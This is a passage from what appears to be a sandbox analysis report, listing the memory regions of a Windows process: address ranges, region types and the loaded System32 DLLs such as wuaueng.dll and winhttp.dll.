"\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 861 start_va = 0x7fefbe30000 end_va = 0x7fefbe6ffff entry_point = 0x7fefbe30000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 862 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 863 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 864 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 865 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 866 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 867 start_va = 0x7fefc640000 end_va = 0x7fefc65cfff entry_point = 0x7fefc640000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 868 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 869 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 870 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 871 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 872 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 873 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 874 start_va = 0x7fefcf50000 end_va = 0x7fefcf61fff entry_point = 0x7fefcf50000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 875 start_va = 0x7fefcf70000 end_va = 0x7fefcf8efff entry_point = 0x7fefcf70000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 876 start_va = 0x7fefd040000 end_va = 0x7fefd078fff entry_point = 0x7fefd040000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 877 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 878 start_va = 0x7fefd090000 end_va = 0x7fefd09cfff entry_point = 0x7fefd090000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 879 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 880 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 881 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 882 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 883 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 884 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 885 start_va = 0x7fefd590000 end_va = 0x7fefd5c1fff entry_point = 0x7fefd590000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 886 start_va = 0x7fefd5e0000 end_va = 0x7fefd5e9fff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 887 start_va = 0x7fefd670000 end_va = 0x7fefd69efff entry_point = 0x7fefd670000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 888 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 889 start_va = 0x7fefd720000 end_va = 0x7fefd733fff entry_point = 0x7fefd720000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 890 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 891 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 892 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 893 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 894 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 895 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 896 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 897 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 898 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 899 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 900 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 901 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 902 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 903 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 904 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 905 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 906 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 907 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 908 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 909 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 910 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 911 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 912 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 913 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 914 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 915 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 916 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 917 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 918 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 919 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 920 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 921 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 922 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 923 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 924 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 925 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 926 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 927 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 928 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 929 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 930 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 931 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 932 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 933 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 934 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 935 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 936 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 937 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 938 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 939 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 940 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 941 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 942 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 943 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 944 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 945 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 946 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 947 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 948 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 949 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 950 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 951 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 952 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 953 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 954 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 955 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 956 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 957 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 958 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 959 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 960 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 961 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 962 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 963 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 964 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1176 start_va = 0xdd0000 end_va = 0xdd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 1177 start_va = 0xde0000 end_va = 0xde0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1178 start_va = 0x24d0000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 1179 start_va = 0x3000000 end_va = 0x307ffff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1180 start_va = 0x37b0000 end_va = 0x382ffff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 1181 start_va = 0x7fee52a0000 end_va = 0x7fee52b1fff entry_point = 0x7fee52a0000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1182 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1183 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1184 start_va = 0x3940000 end_va = 0x39bffff entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1185 start_va = 0x7fee5250000 end_va = 0x7fee5294fff entry_point = 0x7fee5250000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1186 start_va = 0x7fef7030000 end_va = 0x7fef7040fff entry_point = 0x7fef7030000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1187 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1188 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1189 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1446 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1447 start_va = 0x3110000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 1448 start_va = 0x36a0000 end_va = 0x371ffff entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 1449 start_va = 0x3730000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 1450 start_va = 0x37c0000 end_va = 0x383ffff entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 1451 start_va = 0x3840000 end_va = 0x38bffff entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 1452 start_va = 0x38c0000 end_va = 0x393ffff entry_point = 0x0 region_type = private name = "private_0x00000000038c0000" filename = "" Region: id = 1453 start_va = 0x3ad0000 end_va = 0x3b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 1454 start_va = 0x41a0000 end_va = 0x421ffff entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 1455 start_va = 0x4230000 end_va = 0x42affff entry_point = 0x0 region_type = private name = "private_0x0000000004230000" filename = "" Region: id = 1456 start_va = 0x42b0000 end_va = 0x432ffff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1457 start_va = 0x7fedfd70000 end_va = 0x7fedffc2fff entry_point = 0x7fedfd70000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1458 start_va = 0x7fee6440000 end_va = 0x7fee66b9fff entry_point = 0x7fee6440000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1459 start_va = 0x7fee66f0000 end_va = 0x7fee66fefff entry_point = 0x7fee66f0000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1460 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1461 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1462 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1463 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1464 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1465 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1510 start_va = 0xf10000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 1511 start_va = 0x4790000 end_va = 0x488ffff entry_point = 0x0 region_type = private name = "private_0x0000000004790000" filename = "" Region: id = 1512 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1513 start_va = 0x7fefd5d0000 end_va = 0x7fefd5d7fff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1514 start_va = 0x7fee5010000 end_va = 0x7fee501cfff entry_point = 0x7fee5010000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 2489 start_va = 0xe00000 end_va = 0xe19fff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2490 start_va = 0xe20000 end_va = 0xe20fff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 2491 start_va = 0xe30000 end_va = 0xe30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 2492 start_va = 0xec0000 end_va = 0xec7fff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 2493 start_va = 0xed0000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2494 start_va = 0xee0000 end_va = 0xeeffff entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 2495 start_va = 0xef0000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 2496 start_va = 0xf00000 end_va = 0xf00fff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 2497 start_va = 0xf20000 end_va = 0xfdffff entry_point = 0xf20000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2498 start_va = 0xfe0000 end_va = 0xfe1fff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 2499 start_va = 0xff0000 end_va = 0xff0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: 